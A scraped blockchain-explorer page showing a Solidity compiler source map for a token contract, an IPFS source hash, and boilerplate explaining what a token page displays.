9280:3;9276:14;9270:4;9267:24;9264:50;;;9294:18;;:::i;:::-;9264:50;9344:1;9334:8;9330:16;9327:451;;;9759:4;9752:5;9748:16;9739:25;;9327:451;9809:4;9803;9799:15;9791:23;;9839:32;9862:8;9839:32;:::i;:::-;9827:44;;9169:712;;;9039:848;;;;;;;:::o;9893:281::-;9951:5;9975:23;9993:4;9975:23;:::i;:::-;9967:31;;10019:25;10035:8;10019:25;:::i;:::-;10007:37;;10063:104;10100:66;10090:8;10084:4;10063:104;:::i;:::-;10054:113;;9893:281;;;;:::o;10180:1073::-;10234:5;10425:8;10415:40;;10446:1;10437:10;;10448:5;;10415:40;10474:4;10464:36;;10491:1;10482:10;;10493:5;;10464:36;10560:4;10608:1;10603:27;;;;10644:1;10639:191;;;;10553:277;;10603:27;10621:1;10612:10;;10623:5;;;10639:191;10684:3;10674:8;10671:17;10668:43;;;10691:18;;:::i;:::-;10668:43;10740:8;10737:1;10733:16;10724:25;;10775:3;10768:5;10765:14;10762:40;;;10782:18;;:::i;:::-;10762:40;10815:5;;;10553:277;;10939:2;10929:8;10926:16;10920:3;10914:4;10911:13;10907:36;10889:2;10879:8;10876:16;10871:2;10865:4;10862:12;10858:35;10842:111;10839:246;;;10995:8;10989:4;10985:19;10976:28;;11030:3;11023:5;11020:14;11017:40;;;11037:18;;:::i;:::-;11017:40;11070:5;;10839:246;11110:42;11148:3;11138:8;11132:4;11129:1;11110:42;:::i;:::-;11095:57;;;;11184:4;11179:3;11175:14;11168:5;11165:25;11162:51;;;11193:18;;:::i;:::-;11162:51;11242:4;11235:5;11231:16;11222:25;;10180:1073;;;;;;:::o;11259:348::-;11299:7;11322:20;11340:1;11322:20;:::i;:::-;11317:25;;11356:20;11374:1;11356:20;:::i;:::-;11351:25;;11544:1;11476:66;11472:74;11469:1;11466:81;11461:1;11454:9;11447:17;11443:105;11440:131;;;11551:18;;:::i;:::-;11440:131;11599:1;11596;11592:9;11581:20;;11259:348;;;;:::o;11613:191::-;11653:4;11673:20;11691:1;11673:20;:::i;:::-;11668:25;;11707:20;11725:1;11707:20;:::i;:::-;11702:25;;11746:1;11743;11740:8;11737:34;;;11751:18;;:::i;:::-;11737:34;11796:1;11793;11789:9;11781:17;;11613:191;;;;:::o;11810:96::-;11847:7;11876:24;11894:5;11876:24;:::i;:::-;11865:35;;11810:96;;;:::o;11912:90::-;11946:7;11989:5;11982:13;11975:21;11964:32;;11912:90;;;:::o;12008:126::-;12045:7;12085:42;12078:5;12074:54;12063:65;;12008:126;;;:::o;12140:77::-;12177:7;12206:5;12195:16;;12140:77;;;:::o;12223:86::-;12258:7;12298:4;12291:5;12287:16;12276:27;;12223:86;;;:::o;12315:152::-;12391:9;12424:37;12455:5;12424:37;:::i;:::-;12411:50;;12315:152;;;:::o;12473:126::-;12523:9;12556:37;12587:5;12556:37;:::i;:::-;12543:50;;12473:126;;;:::o;12605:113::-;12655:9;12688:24;12706:5;12688:24;:::i;:::-;12675:37;;12605:113;;;:::o;12724:307::-;12792:1;12802:113;12816:6;12813:1;12810:13;12802:113;;;12901:1;12896:3;12892:11;12886:18;12882:1;12877:3;12873:11;12866:39;12838:2;12835:1;12831:10;12826:15;;12802:113;;;12933:6;12930:1;12927:13;12924:101;;;13013:1;13004:6;12999:3;12995:16;12988:27;12924:101;12773:258;12724:307;;;:::o;13037:320::-;13081:6;13118:1;13112:4;13108:12;13098:22;;13165:1;13159:4;13155:12;13186:18;13176:81;;13242:4;13234:6;13230:17;13220:27;;13176:81;13304:2;13296:6;13293:14;13273:18;13270:38;13267:84;;;13323:18;;:::i;:::-;13267:84;13088:269;13037:320;;;:::o;13363:180::-;13411:77;13408:1;13401:88;13508:4;13505:1;13498:15;13532:4;13529:1;13522:15;13549:180;13597:77;13594:1;13587:88;13694:4;13691:1;13684:15;13718:4;13715:1;13708:15;13735:180;13783:77;13780:1;13773:88;13880:4;13877:1;13870:15;13904:4;13901:1;13894:15;13921:180;13969:77;13966:1;13959:88;14066:4;14063:1;14056:15;14090:4;14087:1;14080:15;14230:117;14339:1;14336;14329:12;14353:102;14394:6;14445:2;14441:7;14436:2;14429:5;14425:14;14421:28;14411:38;;14353:102;;;:::o;14461:::-;14503:8;14550:5;14547:1;14543:13;14522:34;;14461:102;;;:::o;14569:225::-;14709:34;14705:1;14697:6;14693:14;14686:58;14778:8;14773:2;14765:6;14761:15;14754:33;14569:225;:::o;14800:182::-;14940:34;14936:1;14928:6;14924:14;14917:58;14800:182;:::o;14988:228::-;15128:34;15124:1;15116:6;15112:14;15105:58;15197:11;15192:2;15184:6;15180:15;15173:36;14988:228;:::o;15222:223::-;15362:34;15358:1;15350:6;15346:14;15339:58;15431:6;15426:2;15418:6;15414:15;15407:31;15222:223;:::o;15451:122::-;15524:24;15542:5;15524:24;:::i;:::-;15517:5;15514:35;15504:63;;15563:1;15560;15553:12;15504:63;15451:122;:::o;15579:::-;15652:24;15670:5;15652:24;:::i;:::-;15645:5;15642:35;15632:63;;15691:1;15688;15681:12;15632:63;15579:122;:::o

Swarm Source

ipfs://c7462299ac19e6d808114d4064876d3dc5451528b9bc0ec469322e9d10cb0436
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.